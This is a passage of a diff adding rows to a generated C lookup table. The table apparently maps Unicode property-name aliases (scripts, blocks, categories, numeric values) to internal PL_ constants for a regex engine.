+  {     1,  8011,  3690,   3,  16, PL_PF }   /* gc=finalpunctuation */,
+  {     0,  7459,  8424,   3,   4, PL_NBAT }   /* sc=nbat */,
+  {     0,  7136,  6776,   6,  10, PL_SUPARROWSB }   /* block=suparrowsb */,
+  {     0,  8021,  7997,   5,   2, PL_GREXT }   /* grext=y */,
+  {     0,  6713,  8711,   3,   3, PL_IN__3_DOT_1 }   /* in=3.1 */,
+  {     1,  6706,  8657,  10,   3, PL_IN__2 }   /* presentin=2.0 */,
+  {   131,  7459,  8432,   3,   4, PL_NKO }   /* sc=nkoo */,
+  {     0,  8016,  1690,   4,   2, PL_GCB__CN }   /* gcb=cn */,
+  {     0,  5134,  6042,   3,  11, PL_PLAYINGCARDS }   /* isplayingcards */,
+  {     5,  4440,  2251,   4,  18, PL_GLAGOLITICSUP }   /* inglagoliticsupplement */,
+  {   263,  6263,  7264,  10,   8, PL_LB__LF }   /* linebreak=linefeed */,
+  {     0,  4614,     0,  15,   0, PL_VEDICEXT }   /* vedicextensions */,
+  {     2,  6506,  2129,   3,   5, PL_YIJING }   /* isyijing */,
+  {     1,   974,  5219,  24,   2, PL_CCC__10 }   /* canonicalcombiningclass=10 */,
+  {     0,  7380,  2769,   4,  18, PL_CCC__216 }   /* ccc=attachedaboveright */,
+  {     0,  5544,  7750,  13,   2, PL_NV__80 }   /* numericvalue=80 */,
+  {   177,  3129,  1107,  17,   8, PL_KANA }   /* scriptextensions=katakana */,
+  {     0,   184,  6944,   2,   9, PL_LATINEXTC }   /* islatinextc */,
+  {     4,  7459,  7971,   3,   5, PL_BATK }   /* sc=batak */,
+  {     2,  3129,  7810,  17,   6, PL_GOTH }   /* scriptextensions=gothic */,
+  {     0,   184,  7787,   3,   5, PL_CAKM }   /* ischakma */,
+  {     0,  2249,     0,   4,   0, PL_GLAG }   /* glag */,
+  {    67,  7870,     0,   4,   0, PL_LEPC }   /* lepc */,
+  {    32,  6890,  2787,   4,  18, PL_CHEROKEESUP }   /* blk=cherokeesupplement */,
+  {    73,  2990,  6865,   4,   7, PL_ARABICPFA }   /* inarabicpfa */,
+  {     1,  5544,  7744,  13,   2, PL_NV__70 }   /* numericvalue=70 */,
+  {    71,  7798,  7768,   6,   2, -PL_COMPEX }   /* compex=f */,
+  {     0,  7459,  6806,   3,   4, PL_WARA }   /* sc=wara */,
+  {    14,  7774,  7548,   3,   7, PL_SD }   /* _canondcij */,
+  {     3,  5192,  2003,   3,  20, PL_PRTI }   /* isinscriptionalparthian */,
+  {     0,  8440,     0,   4,   0, PL_OGAM }   /* ogam */,
+  {     2,  8036,   516,   5,  13, PL_UIDEO }   /* isunifiedideograph */,
+  {     1,  1589,     0,  14,   0, PL_LATINEXTA }   /* latinextendeda */,
+  {     0,  8204,     0,   4,   0, PL_POSIXXDIGIT }   /* ahex */,
+  {     1,  6890,  6373,   4,  11, PL_INPAHAWHHMONG }   /* blk=pahawhhmong */,
+  {    10,  4314,  6417,  13,  11, PL_JG__STRAIGHTWAW }   /* joininggroup=straightwaw */,
+  {     2,  7136,  2636,   6,   9, PL_INMONGOLIAN }   /* block=mongolian */,
+  {   155,  3129,  7443,  17,   7, PL_GRAN }   /* scriptextensions=grantha */,
+  {     1,  7459,  8304,   3,   4, PL_SC__GUJR }   /* sc=gujr */,
+  {     4,  5645,  6017,  10,  12, PL_BC__ON }   /* bidiclass=otherneutral */,
+  {    40,  7689,  8209,   3,   3, PL_AHOM }   /* isahom */,
+  {     2,  5258,     0,  13,   0, PL_BLOCKELEMENTS }   /* blockelements */,
+  {    10,  3424,  3223,  17,   2, -PL_IDSB }   /* idsbinaryoperator=n */,
+  {    14,  2229,    32,  16,   2, PL_CS }   /* generalcategory=cs */,
+  {     4,  6713,  8765,   3,   3, PL_IN__8 }   /* in=8.0 */,
+  {     3,  8504,  1621,   3,   6, PL_SB__FO }   /* sb=format */,
+  {     1,  7380,  8651,   4,   3, PL_CCC__132 }   /* ccc=132 */,
+  {    10,  7227,  5252,   5,   6, PL_POSIXXDIGIT }   /* posixxdigit */,
+  {     3,  5082,     0,  11,   0, PL_MC }   /* spacingmark */,
+  {    13,  3129,  1540,  17,   4, PL_PHAG }   /* scriptextensions=phag */,
+  {     0,  5388,     0,  13,   0, PL_KANAEXTA }   /* kanaextendeda */,
+  {     1,  3129,  8368,  17,   4, PL_LAO }   /* scriptextensions=laoo */,
+  {     2,  8816,  8160,   3,   4, PL_NV__13_SLASH_2 }   /* nv=13/2 */,
+  {    82,  6472,  5762,  10,   3, PL_LB__ZWJ }   /* wordbreak=zwj */,
+  {     7,  4554,    34,  14,   6, PL_SB__EX }   /* sentencebreak=extend */,
+  {     1,  3521,  7768,   5,   6, -PL_XPOSIXSPACE }   /* space=false */,
+  {     5,  6210,  7787,   3,   5, PL_INCHAKMA }   /* inchakma */,
+  {     1,  1452,     0,   2,   0, PL_PS }   /* ps */,
+  {     2,  4314,  5894,  13,   3, PL_JG__NYA }   /* joininggroup=nya */,
+  {     0,  3458,     0,   4,   0, PL_MANI }   /* mani */,
+  {     0,   184,  1028,   3,   3, PL_COPT }   /* iscopt */,
+  {   256,    21,  1589,   2,   9, PL_LATINEXTE }   /* inlatinexte */,
+  {    18,    21,  8428,   2,   4, PL_INNEWA }   /* innewa */,
+  {    81,  4630,  1930,   3,   8, PL_XPOSIXUPPER }   /* isuppercase */,
+  {    32,  4314,  6285,  13,  11, PL_JG__MALAYALAMRA }   /* joininggroup=malayalamra */,
+  {    35,  5134,  2371,   3,   3, PL_PRTI }   /* isprti */,
+  {     0,   436,  7997,   5,   4, PL_NCHAR }   /* nchar=yes */,
+  {   144,  7906,  7860,   5,   4, PL_SC__KHOJ }   /* sc=khojki */,
+  {     0,  3129,  7492,  17,   7, PL_KNDA }   /* scriptextensions=kannada */,
+  {   259,  5544,  7744,  13,   5, PL_NV__70000 }   /* numericvalue=70000 */,
+  {     4,  8011,  1393,   4,   8, PL_CS }   /* gc=surrogate */,
+  {     1,  6890,  1566,   4,  23, PL_COMPATJAMO }   /* blk=hangulcompatibilityjamo */,
+  {     0,  1448,  2715,   5,  16, PL_SUPARROWSB }   /* insupplementalarrowsb */,
+  {     1,  7459,  7034,   3,   9, PL_PALM }   /* sc=palmyrene */,
+  {     2,  6554,  3611,   3,  15, PL_BOPOMOFOEXT }   /* inbopomofoextended */,
+  {     3,  2229,  3075,  16,  18, PL_ZP }   /* generalcategory=paragraphseparator */,
+  {     0,  7288,  8253,   8,   3, PL_SC__BUHD }   /* script=buhd */,
+  {     2,  6483,  7997,  11,   4, PL_XIDC }   /* xidcontinue=yes */,
+  {     0,  7136,  5609,   6,  12, PL_ALPHABETICPF }   /* block=alphabeticpf */,
+  {     2,  7459,  3882,   3,   7, PL_SC__MYMR }   /* sc=myanmar */,
+  {     0,  5557,  7997,  13,   4, PL_PATSYN }   /* patternsyntax=yes */,
+  {     3,  3129,  6926,  17,   9, PL_SIND }   /* scriptextensions=khudawadi */,
+  {     7,  1892,  7768,   5,   6, -PL_CASED }   /* cased=false */,
+  {     0,  7457,   699,   5,   6, PL_INSC__NUMBER }   /* insc=number */,
+  {    65,  3129,  1680,  17,   6, PL_ZYYY }   /* scriptextensions=common */,
+  {    45,  2100,  6352,   3,  10, PL_NO }   /* isothernumber */,
+  {     6,  4239,  7997,   4,   2, PL_DASH }   /* dash=y */,
+  {    18,  4063,  2879,   4,  11, PL_DEVANAGARIEXT }   /* indevanagariext */,
+  {    12,  7288,  2841,   7,   6, PL_SC__COPT }   /* script=coptic */,
+  {     0,  2065,  3223,  21,   3, -PL_NCHAR }   /* noncharactercodepoint=no */,
+  {     0,  4542,  5552,   3,   3, PL_TALU }   /* istalu */,
+  {     0,  7459,  8448,   3,   4, PL_ORKH }   /* sc=orkh */,
+  {     1,  7288,  2360,   7,   4, PL_SC__MAND }   /* script=mand */,
+  {   114,   184,  8091,   2,   5, PL_RUNR }   /* isrunic */,
+  {     0,  7288,  8352,   7,   4, PL_KHMR }   /* script=khmr */,
+  {     2,  8816,  8688,   3,   2, PL_NV__26 }   /* nv=26 */,
+  {     0,  3521,  7997,   5,   2, PL_XPOSIXSPACE }   /* space=y */,
+  {     0,  6890,  4784,   4,   4, PL_INCHAM }   /* blk=cham */,
+  {    73,  3129,  8456,  17,   4, PL_OSGE }   /* scriptextensions=osge */,
+  {     0,  7288,  8268,   7,   4, PL_SC__CPRT }   /* script=cprt */,
+  {     0,  8096,  2967,   4,   4, PL_GEOR }   /* scx=geor */,
+  {     0,  8376,   223,   3,   2, PL_LB__PR }   /* lb=pr */,
+  {     0,   974,  7924,  24,   6, PL_CCC__9 }   /* canonicalcombiningclass=virama */,
+  {     1,  3129,  7846,  17,   6, PL_KTHI }   /* scriptextensions=kaithi */,
+  {     0,    21,  7957,   3,   4, PL_INADLAM }   /* inadlam */,
+  {    82,  5544,  5219,  13,   3, PL_NV__100 }   /* numericvalue=100 */,
+  {     3,  3373,  1093,  15,   9, PL_EA__F }   /* eastasianwidth=fullwidth */,
+  {     0,  7136,  4010,   6,   6, PL_INTANGUT }   /* block=tangut */,
+  {     0,  8011,  5323,   3,  13, PL_ME }   /* gc=enclosingmark */,
+  {     0,  7380,  8673,   7,   2, PL_CCC__14 }   /* ccc=ccc14 */,
+  {     0,  5192,  6918,   3,   8, PL_QAAI }   /* isinherited */,
+  {    15,  8096,  8091,   4,   5, PL_RUNR }   /* scx=runic */,
+  {     0,  6890,  2484,   4,  19, PL_INEGYPTIANHIEROGLYPHS }   /* blk=egyptianhieroglyphs */,
+  {     0,  6713,  8855,   3,   3, PL_IN__3_DOT_2 }   /* in=v32 */,
+  {     1,   184,  1886,   2,   2, PL_NL }   /* isnl */,
+  {    30,    11,  7997,   3,   4, PL_DIA }   /* dia=yes */,
+  {     0,  8272,  3223,   4,   3, -PL_CWCF }   /* cwcf=no */,
+  {    22,  8572,  1107,   3,   8, PL_WB__KA }   /* wb=katakana */,
+  {   261,  5557,  7997,  13,   2, PL_PATSYN }   /* patternsyntax=y */,
+  {     2,  4542,  1372,   4,   2, PL_TELU }   /* istelu */,
+  {     2,  8101,  7951,   5,   5, PL_STERM }   /* sterm=true */,
+  {     4,  4402,  2637,   3,  18, PL_MONGOLIANSUP }   /* inmongoliansupplement */,
+  {     0,  1159,  7997,  25,   4, PL_CWKCF }   /* changeswhennfkccasefolded=yes */,
+  {    28,  8016,  4047,   4,   2, PL_LB__H2 }   /* gcb=lv */,
+  {     3,  2229,    45,  16,   2, PL_CO }   /* generalcategory=co */,
+  {    29,   947,     0,  27,   0, PL_ANCIENTGREEKMUSIC }   /* ancientgreekmusicalnotation */,
+  {    35,  6263,  6899,  10,   9, PL_LB__B2 }   /* linebreak=breakboth */,
+  {     3,  7380,  7576,   4,   7, PL_CCC__1 }   /* ccc=overlay */,
+  {    13,   974,  8705,  24,   3, PL_CCC__IS }   /* canonicalcombiningclass=240 */,
+  {     0,  6263,  6186,  10,  11, PL_LB__IN }   /* linebreak=inseparable */,
+  {     1,   510,     0,  30,   0, PL_CJKEXTA }   /* cjkunifiedideographsextensiona */,
+  {    49,  7380,  5981,   4,  12, PL_CCC__0 }   /* ccc=notreordered */,
+  {     0,    21,  8091,   2,   5, PL_INRUNIC }   /* inrunic */,
+  {     0,  7136,  5693,   6,  12, PL_CYRILLICEXTB }   /* block=cyrillicextb */,
+  {     0,  3706,     0,  16,   0, PL_HALFANDFULLFORMS }   /* halfandfullforms */,
+  {     0,  3898,     0,  16,   0, PL_MYANMAREXTB }   /* myanmarextendedb */,
+  {     1,  7459,  2107,   3,   4, PL_SC__SINH }   /* sc=sinh */,
+  {    30,   117,  2004,   4,  19, PL_ININSCRIPTIONALPARTHIAN }   /* ininscriptionalparthian */,
+  {   145,  6706,  8870,  10,   3, PL_IN__5_DOT_2 }   /* presentin=v52 */,
+  {    28,  6890,  2541,   4,  10, PL_JAMO }   /* blk=hanguljamo */,
+  {     3,  7288,  7583,   7,   7, PL_SC__PHAG }   /* script=phagspa */,
+  {     3,  5544,  8744,  13,   3, PL_NV__5_SLASH_8 }   /* numericvalue=5/8 */,
+  {     2,  3129,  7336,  17,   8, PL_UGAR }   /* scriptextensions=ugaritic */,
+  {    28,  8816,  5219,   3,  11, PL_NV__10000000000 }   /* nv=10000000000 */,
+  {     4,  7459,  8200,   3,   4, PL_AGHB }   /* sc=aghb */,
+  {     2,  3129,  6005,  17,  12, PL_HUNG }   /* scriptextensions=oldhungarian */,
+  {     0,  8076,  7997,   5,   4, PL_PATWS }   /* patws=yes */,
+  {    51,  1746,  8789,  21,   3, PL_WB__EBG }   /* graphemeclusterbreak=ebg */,
+  {     0,  8816,  7732,   3,   2, PL_NV__50 }   /* nv=50 */,
+  {    24,  7459,  6736,   3,  10, PL_SAUR }   /* sc=saurashtra */,
+  {    18,  8240,  4149,   3,  15, PL_BC__CS }   /* bc=commonseparator */,
+  {     0,  8376,  6197,   3,  11, PL_LB__IN }   /* lb=inseperable */,
+  {    65,  7208,     0,   4,   0, PL_HIRA }   /* hira */,
+  {     0,  4314,  4967,  13,  14, PL_JG__MANICHAEANKAPH }   /* joininggroup=manichaeankaph */,
+  {     0,  6472,  7165,  10,   3, PL_WB__GAZ }   /* wordbreak=gaz */,
+  {    32,  6706,  7744,  10,   1, PL_IN__7 }   /* presentin=7 */,
+  {    14,  6890,  5363,   5,   5, PL_IPAEXT }   /* blk=ipaext */,
+  {     0,  1963,  7997,   7,   4, PL_RADICAL }   /* radical=yes */,
+  {     0,  8816,  8164,   3,   2, PL_NV__15 }   /* nv=15 */,
+  {   101,  6120,     0,  11,   0, PL_DOMINO }   /* dominotiles */,
+  {     0,   184,  2842,   3,  17, PL_COPTICEPACTNUMBERS }   /* iscopticepactnumbers */,
+  {     0,  7380,  8051,   4,   5, PL_CCC__7 }   /* ccc=nukta */,
+  {     0,  6890,  5825,   4,  12, PL_MAHJONG }   /* blk=mahjongtiles */,
+  {     1,  7457,  4743,   5,  14, PL_INSC__GEMINATIONMARK }   /* insc=geminationmark */,
+  {     1,  5544,  8688,  13,   2, PL_NV__26 }   /* numericvalue=26 */,
+  {     1,  7457,  4539,   5,  15, PL_INSC__REGISTERSHIFTER }   /* insc=registershifter */,
+  {     2,   892,     0,  28,   0, PL_VSSUP }   /* variationselectorssupplement */,
+  {    45,  6890,   920,   4,  27, PL_ALPHABETICPF }   /* blk=alphabeticpresentationforms */,
+  {     0,  6210,  7395,   3,   6, PL_CJKEXTB }   /* incjkextb */,
+  {     0,  8096,  6008,   4,   4, PL_HUNG }   /* scx=hung */,
+  {     0,  7380,  6836,   4,   9, PL_CCC__AL }   /* ccc=aboveleft */,
+  {    38,  6890,  2044,   4,  14, PL_MEETEIMAYEKEXT }   /* blk=meeteimayekext */,
+  {     0,  5375,  6461,  12,  11, PL_JT__T }   /* joiningtype=transparent */,
+  {     0,  8316,     0,   4,   0, PL_HANO }   /* hano */,
+  {     0,  8096,  8412,   4,   4, PL_MTEI }   /* scx=mtei */,
+  {     0,  7288,  7436,   7,   7, PL_ELBA }   /* script=elbasan */,
+  {   100,  8340,  6417,   3,  11, PL_JG__STRAIGHTWAW }   /* jg=straightwaw */,
+  {     0,  6890,  2877,   4,  10, PL_INDEVANAGARI }   /* blk=devanagari */,
+  {   101,    96,  3223,   5,   2, -PL_XPOSIXALPHA }   /* alpha=n */,
+  {     0,  7401,     0,   7,   0, PL_CJKEXTC }   /* cjkextc */,
+  {     0,  7478,  6737,   3,   9, PL_SAUR }   /* issaurashtra */,
+  {     1,    21,  8046,   2,   5, PL_INLIMBU }   /* inlimbu */,
+  {    49,  7459,  7200,   3,   8, PL_SC__GURU }   /* sc=gurmukhi */,
+  {     0,   974,    18,  24,   1, PL_CCC__R }   /* canonicalcombiningclass=r */,
+  {     0,  7459,  7611,   3,   7, PL_SOYO }   /* sc=soyombo */,
+  {     0,   184,  7256,   2,   8, PL_KANAEXTA }   /* iskanaexta */,
+  {     1,  8096,  1981,   4,   8, PL_CYRL }   /* scx=cyrillic */,
+  {     0,  8006,  3223,   5,   2, -PL_CWKCF }   /* cwkcf=n */,
+  {    11,  6472,   125,  10,   2, PL_LB__CR }   /* wordbreak=cr */,
+  {    29,  8096,  7499,   4,   7, PL_KALI }   /* scx=kayahli */,
+  {     3,  2229,  8001,  16,   5, PL_XPOSIXCNTRL }   /* generalcategory=cntrl */,
+  {    90,  3129,  5121,  17,  14, PL_PHLP }   /* scriptextensions=psalterpahlavi */,
+  {     3,  8340,  8212,   3,   4, PL_JG__ALEF }   /* jg=alef */,
+  {     0,  6890,  7320,   4,   8, PL_INTIFINAGH }   /* blk=tifinagh */,
+  {     0,  3129,  8608,  17,   4, PL_ZZZZ }   /* scriptextensions=zzzz */,
+  {   128,  7459,  8044,   3,   4, PL_PHLI }   /* sc=phli */,
+  {     4,  6472,  5729,  10,  12, PL_WB__EX }   /* wordbreak=extendnumlet */,
+  {     0,  2674,     0,  12,   0, PL_SUNDANESESUP }   /* sundanesesup */,
+  {     5,  1497,     0,  23,   0, PL_BYZANTINEMUSIC }   /* byzantinemusicalsymbols */,
+  {     0,  7136,  1498,   7,  22, PL_BYZANTINEMUSIC }   /* block=byzantinemusicalsymbols */,
+  {     2,  3129,  1566,  17,   6, PL_HANG }   /* scriptextensions=hangul */,
+  {     1,  7534,     0,   7,   0, PL_NB }   /* noblock */,
+  {     0,  3914,     0,   5,   0, PL_C }   /* other */,
+  {    37,  8026,   809,   3,  27, PL_PHONETICEXTSUP }   /* inphoneticextensionssupplement */,
+  {     2,  5544,  7936,  13,   5, PL_NV__1_SLASH_160 }   /* numericvalue=1/160 */,
+  {     0,  7459,  7786,   3,   6, PL_SC__CAKM }   /* sc=chakma */,
+  {   256,  3424,  7997,   4,   2, PL_IDSB }   /* idsb=y */,
+  {   265,  6483,     0,  11,   0, PL_XIDC }   /* xidcontinue */,
+  {     0,  6890,  5336,   4,  13, PL_GREEKEXT }   /* blk=greekextended */,
+  {     6,  1184,  3223,  25,   2, -PL_DI }   /* defaultignorablecodepoint=n */,
+  {     0,  7459,  8608,   3,   4, PL_ZZZZ }   /* sc=zzzz */,
+  {    10,   974,  8228,  24,   3, PL_CCC__202 }   /* canonicalcombiningclass=atb */,
+  {    38,  8376,  6845,   3,   9, PL_LB__AI }   /* lb=ambiguous */,
+  {     0,   184,     7,   3,   1, PL_XPOSIXCNTRL }   /* iscc */,
+  {   280,  1589,     0,   9,   0, PL_LATINEXTE }   /* latinexte */,
+  {     0,  7136,  4089,   6,  15, PL_ARABICEXTA }   /* block=arabicextendeda */,
+  {     1,  2750,  3223,  19,   3, -PL_TERM }   /* terminalpunctuation=no */,
+  {   263,  7136,  2389,   6,  19, PL_ANCIENTGREEKNUMBERS }   /* block=ancientgreeknumbers */,
+  {     1,  1746,    73,  21,   2, PL_LB__EM }   /* graphemeclusterbreak=em */,
+  {     1,  5645,  5079,  10,  14, PL_BC__NSM }   /* bidiclass=nonspacingmark */,
+  {    65,  7798,  3223,   6,   3, -PL_COMPEX }   /* compex=no */,
+  {     0,  3129,  7152,  17,   4, PL_DUPL }   /* scriptextensions=dupl */,
+  {     0,  3129,  7120,  17,   4, PL_BALI }   /* scriptextensions=bali */,
+  {   288,  7459,  6373,   3,  11, PL_HMNG }   /* sc=pahawhhmong */,
+  {     6,  2229,  1679,  16,   2, PL_PC }   /* generalcategory=pc */,
+  {     0,  3129,  7822,  17,   4, PL_HATR }   /* scriptextensions=hatr */,
+  {     0,   974,  8632,  27,   2, PL_CCC__91 }   /* canonicalcombiningclass=ccc91 */,
+  {     4,  5134,     2,   3,   1, PL_PI }   /* ispi */,
+  {    29,   184,  8941,   2,   2, PL_ZS }   /* iszs */,
+  {    15,  7288,  7858,   7,   6, PL_SC__KHOJ }   /* script=khojki */,
+  {     0,    96,  7951,   5,   5, PL_XPOSIXALPHA }   /* alpha=true */,
+  {     0,  8288,  5969,   3,   8, PL_DT__NONCANON }   /* dt=noncanon */,
+  {     0,   184,  2249,   2,  10, PL_GLAG }   /* isglagolitic */,
+  {     1,  6890,  6318,   4,  11, PL_MYANMAREXTB }   /* blk=myanmarextb */,
+  {    64,  7459,  8312,   3,   4, PL_SC__HAN }   /* sc=hani */,
+  {    81,  1897,  7768,  21,   6, -PL_CWT }   /* changeswhentitlecased=false */,
+  {     0,  6890,  1702,   4,  12, PL_DIACRITICALS }   /* blk=diacriticals */,
+  {     0,  8504,  1074,   3,   2, PL_SB__ST }   /* sb=st */,
+  {     0,   447,     0,  32,   0, PL_IDEOGRAPHICSYMBOLS }   /* ideographicsymbolsandpunctuation */,
+  {     0,   599,     0,   2,   0, PL_XPOSIXCNTRL }   /* cc */,
+  {     0,  5544,  5219,  13,   9, PL_NV__100000000 }   /* numericvalue=100000000 */,
+  {     0,  8816,  8161,   3,   3, PL_NV__3_SLASH_2 }   /* nv=3/2 */,
+  {     0,  8376,     3,   4,   1, PL_LB__LF }   /* lb=lf */,
+  {    23,  7288,  1680,   7,   6, PL_SC__ZYYY }   /* script=common */,
+  {    82,  8816,  3743,   3,   1, PL_NV__1 }   /* nv=1 */,
+  {   259,   184,  6296,   2,  11, PL_MISCSYMBOLS }   /* ismiscsymbols */,
+  {    28,  8086,  7997,   5,   2, PL_QMARK }   /* qmark=y */,
+  {     0,  7288,  8316,   7,   4, PL_SC__HANO }   /* script=hano */,
+  {     0,  6472,  1107,  10,   2, PL_WB__KA }   /* wordbreak=ka */,
+  {     1,  4479,  7998,  15,   3, PL_NFKCQC__Y }   /* nfkcquickcheck=yes */,
+  {     0,  3674,     0,  16,   0, PL_CYPRIOTSYLLABARY }   /* cypriotsyllabary */,
+  {    65,  3114,  7675,   3,   6, PL_UCASEXT }   /* inucasext */,
+  {    74,  3129,  1479,  18,   2, PL_VAI }   /* scriptextensions=vai */,
+  {     9,  5192,  5363,   3,  12, PL_IPAEXT }   /* isipaextensions */,
+  {     0,  6613,  2561,   3,  18, PL_JAMOEXTB }   /* ishanguljamoextendedb */,
+  {     0,  7380,  8168,   7,   2, PL_CCC__17 }   /* ccc=ccc17 */,
+  {     0,  8196,  8660,   4,   3, PL_AGE__2_DOT_1 }   /* age=2.1 */,
+  {    16,   184,  4210,   3,  14, PL_CONTROLPICTURES }   /* iscontrolpictures */,
+  {    24,  8376,  2284,   3,   2, PL_LB__HL }   /* lb=hl */,
+  {     1,  7136,  5149,   6,  14, PL_SUPPUNCTUATION }   /* block=suppunctuation */,
+  {     1,  8340,  7079,   3,   9, PL_JG__SYRIACWAW }   /* jg=syriacwaw */,
+  {     3,  5544,  7720,  13,   4, PL_NV__4000 }   /* numericvalue=4000 */,
+  {    14,  8076,  3581,   5,   2, PL_PATWS }   /* patws=t */,
+  {     0,  6109,     0,  10,   0, PL_C }   /* category=c */,
+  {     1,   184,  3390,   2,  17, PL_ETHIOPICEXTA }   /* isethiopicextendeda */,
+  {     1,  7459,  7351,   3,   4, PL_SC__TALE }   /* sc=tale */,
+  {     2,  2229,  6098,  16,  11, PL_L_AMP_ }   /* generalcategory=casedletter */,
+  {     0,  8096,  8476,   4,   4, PL_COPT }   /* scx=qaac */,
+  {     0,  8081,     0,   5,   0, PL_XPOSIXPRINT }   /* print */,
+  {    42,  3129,  8540,  17,   4, PL_TAML }   /* scriptextensions=taml */,
+  {     6,  5544,  8168,  13,   2, PL_NV__17 }   /* numericvalue=17 */,
+  {     0,  8096,  6676,   4,  10, PL_XPEO }   /* scx=oldpersian */,
+  {     1,  1448,  7612,   3,   6, PL_INSOYOMBO }   /* insoyombo */,
+  {     0,  8288,  8831,   3,   3, PL_DT__SML }   /* dt=sml */,
+  {     0,   184,  5336,   2,   8, PL_GREEKEXT }   /* isgreekext */,
+  {    18,  5134,  5122,   3,  13, PL_PHLP }   /* ispsalterpahlavi */,
+  {    48,   974,  2295,  24,   5, PL_CCC__R }   /* canonicalcombiningclass=right */,
+  {    20,  6221,  2807,   4,  16, PL_HALFMARKS }   /* incombininghalfmarks */,
+  {    81,   974,  7702,  24,   3, PL_CCC__133 }   /* canonicalcombiningclass=200 */,
+  {     1,  6263,   496,  10,   7, PL_LB__NU }   /* linebreak=numeric */,
+  {    66,  6890,  1797,   4,   4, PL_INMODI }   /* blk=modi */,
+  {    72,  1133,  3581,  26,   2, PL_PCM }   /* prependedconcatenationmark=t */,
+  {     6,  8076,  3223,   5,   3, -PL_PATWS }   /* patws=no */,
+  {     0,  7288,  3994,   7,   6, PL_SC__SYRC }   /* script=syriac */,
+  {    17,  6890,  7240,   4,   8, PL_JAMOEXTB }   /* blk=jamoextb */,
+  {     8,  8096,  8588,   4,   4, PL_YI }   /* scx=yiii */,
+  {     3,   510,     0,  20,   0, PL_CJK }   /* cjkunifiedideographs */,
+  {     0,   184,  8277,   3,   3, PL_CWCM }   /* iscwcm */,
+  {     2,  3516,     0,  10,   0, PL_XPOSIXSPACE }   /* whitespace */,
+  {     1,  1499,     0,   1,   0, PL_Z }   /* z */,
+  {     0,  8816,  7702,   3,   5, PL_NV__20000 }   /* nv=20000 */,
+  {    16,   184,  8236,   2,   4, PL_BATK }   /* isbatk */,
+  {     1,   974,  8654,  27,   3, PL_CCC__133 }   /* canonicalcombiningclass=ccc133 */,
+  {     0,  8816,  8663,   3,   3, PL_NV__2_SLASH_3 }   /* nv=2/3 */,
+  {     0,  7459,  8116,   3,   5, PL_SC__TAML }   /* sc=tamil */,
+  {    31,  5801,     0,  12,   0, PL_KHMERSYMBOLS }   /* khmersymbols */,
+  {     0,  8036,     3,   5,  39, PL_UCASEXT }   /* isunifiedcanadianaboriginalsyllabicsextended */,
+  {     0,  1402,  2289,  24,   4, PL_INPC__LEFT }   /* indicpositionalcategory=left */,
+  {     1,   184,  4757,   2,  14, PL_GREXT }   /* isgraphemeextend */,
+  {     0,  8096,  2044,   4,  11, PL_MTEI }   /* scx=meeteimayek */,
+  {     1,  6890,  2895,   4,  11, PL_ETHIOPICSUP }   /* blk=ethiopicsup */,
+  {    44,  8096,  8608,   4,   4, PL_ZZZZ }   /* scx=zzzz */,
+  {     0,  6472,  4561,  10,   2, PL_WB__EB }   /* wordbreak=eb */,
+  {     0,  1354,  7997,  24,   2, PL_COMPEX }   /* fullcompositionexclusion=y */,
+  {     0,  6210,  5682,   3,  11, PL_CYRILLICEXTA }   /* incyrillicexta */,
+  {     0,  4479,    47,  15,   1, PL_NFCQC__M }   /* nfkcquickcheck=m */,
+  {     1,  1107,     0,   8,   0, PL_KANA }   /* katakana */,
+  {     0,  7780,     0,   4,   0, PL_CARI }   /* cari */,
+  {     1,  3373,     1,  15,   1, PL_EA__N }   /* eastasianwidth=n */,
+  {     0,  4314,  4925,  13,  14, PL_JG__MANICHAEANBETH }   /* joininggroup=manichaeanbeth */,
+  {     2,  5544,  8627,  13,   3, PL_NV__1_SLASH_8 }   /* numericvalue=1/8 */,
+  {    16,  7136,  7597,   6,   7, PL_SHAW }   /* block=shavian */,
+  {     4,  6890,  4134,   4,   7, PL_BRAI }   /* blk=braille */,
+  {     0,  7136,  3674,   6,  16, PL_CYPRIOTSYLLABARY }   /* block=cypriotsyllabary */,
+  {     0,  8096,  7043,   4,   9, PL_PAUC }   /* scx=paucinhau */,
+  {     3,  1402,  6121,   3,  10, PL_DOMINO }   /* indominotiles */,
+  {     8,  7227,  8001,   5,   5, PL_POSIXCNTRL }   /* posixcntrl */,
+  {    13,  7459,  7443,   3,   7, PL_SC__GRAN }   /* sc=grantha */,
+  {     0,   184,  7870,   2,   4, PL_LEPC }   /* islepc */,
+  {     0,  7136,  1258,   6,  24, PL_ARABICPFB }   /* block=arabicpresentationformsb */,
+  {    19,  6472,  3914,  10,   5, PL_WB__XX }   /* wordbreak=other */,
+  {    94,  1855,     0,  21,   0, PL_CWCM }   /* changeswhencasemapped */,
+  {     0,  1887,  7997,   5,   4, PL_XPOSIXLOWER }   /* lower=yes */,
+  {     1,  6766,     0,  10,   0, PL_SUPARROWSA }   /* suparrowsa */,
+  {   257,  7828,  7997,   6,   2, PL_HYPHEN }   /* hyphen=y */,
+  {     3,   184,  2895,   2,  18, PL_ETHIOPICSUP }   /* isethiopicsupplement */,
+  {    74,  7136,  4254,   6,  15, PL_DIACRITICALSEXT }   /* block=diacriticalsext */,
+  {    32,  6616,  7951,  10,   5, PL_DEP }   /* deprecated=true */,
+  {     1,  7459,  8560,   3,   4, PL_TIBT }   /* sc=tibt */,
+  {     0,  5645,   806,  10,   2, PL_BC__WS }   /* bidiclass=ws */,
+  {     6,  8388,     0,   4,   0, PL_LISU }   /* lisu */,
+  {   177,   184,  5682,   3,  11, PL_CYRILLICEXTA }   /* iscyrillicexta */,
+  {     1,  7136,  8532,   6,   4, PL_TAGS }   /* block=tags */,
+  {   150,  1887,  7951,   5,   5, PL_XPOSIXLOWER }   /* lower=true */,
+  {     0,  8076,  7768,   5,   2, -PL_PATWS }   /* patws=f */,
+  {   258,  1417,   133,   9,   4, PL_M }   /* category=mark */,
+  {    81,  8288,  2100,   3,   3, PL_DT__ISO }   /* dt=iso */,
+  {     0,  8096,  7858,   4,   4, PL_KHOJ }   /* scx=khoj */,
+  {     1,  4464,  8256,   4,   3, PL_DT__CAN }   /* nfdqc=n */,
+  {     2,  8096,  7336,   4,   8, PL_UGAR }   /* scx=ugaritic */,
+  {     0,  6472,  6153,  10,  11, PL_WB__DQ }   /* wordbreak=doublequote */,
+  {     0,  3129,    78,  17,   4, PL_ARAB }   /* scriptextensions=arab */,
+  {     0,  1184,  7997,  25,   4, PL_DI }   /* defaultignorablecodepoint=yes */,
+  {     3,  7136,  7232,   6,   8, PL_JAMOEXTA }   /* block=jamoexta */,
+  {     0,  6554,  5400,   3,   7, PL_INBALINESE }   /* inbalinese */,
